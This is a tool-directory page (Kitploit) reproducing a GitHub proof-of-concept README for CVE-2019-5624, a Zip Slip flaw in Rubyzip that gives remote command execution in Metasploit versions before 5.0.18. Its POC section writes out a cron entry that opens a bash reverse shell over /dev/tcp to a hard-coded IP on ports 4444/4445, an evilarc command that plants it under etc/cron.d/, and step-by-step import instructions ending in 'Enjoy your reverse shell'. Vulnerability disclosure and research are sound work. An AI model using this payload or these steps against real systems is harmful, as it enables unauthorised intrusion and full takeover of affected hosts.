Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/voidsec/cve-2019-5624
Exploit FrameworksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubvoidsec/cve-2019-5624

CVE-2019-5624

A proof of concept for Metasploit's CVE-2019-5624 vulnerability (Rubyzip insecure ZIP handling RCE)

View Repository
13537 years agoNot yet reviewed
Website

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2019-5624

A proof of concept for Metasploit's CVE-2019-5624 vulnerability (Rubyzip insecure ZIP handling RCE)

Intro

In February 2019 I found a new vulnerability in the Rubyzip library. It allows an attacker to exploit insecure ZIP handling (Zip Slip) resulting in remote command execution.

This vulnerability was leveraged to targets all Metasploit versions < 5.0.18 Metasploit Wrap-Up

I've made this detailed blog post explaining the vulnerability.

POC

  • Create a file with the following content:
root@kitploit:~
* * * * * root /bin/bash -c "exec /bin/bash0</dev/tcp/172.16.13.144/4444 1>&0 2>&0 0<&196;exec196<>/dev/tcp/172.16.13.144/4445; bash <&196 >&196 2>&196"
  • Generate the ZIP archive with the path traversal payload:
root@kitploit:~
python evilarc.py exploit --os unix -p etc/cron.d/
  • Add a valid MSF workspace to the ZIP file (in order to have MSF to extract it, otherwise it will refuse to process the ZIP archive)
  • Setup two listeners, one on port 4444 and the other on port 4445 (the one on port 4445 will get the reverse shell)
  • Login in the MSF Web Interface
  • Create a new “Project”
  • Select “Import”, “From file”, chose the evil ZIP file and finally click the “Import” button
  • Wait for the import process to finish
  • Enjoy your reverse shell
  • Video

    Download Tool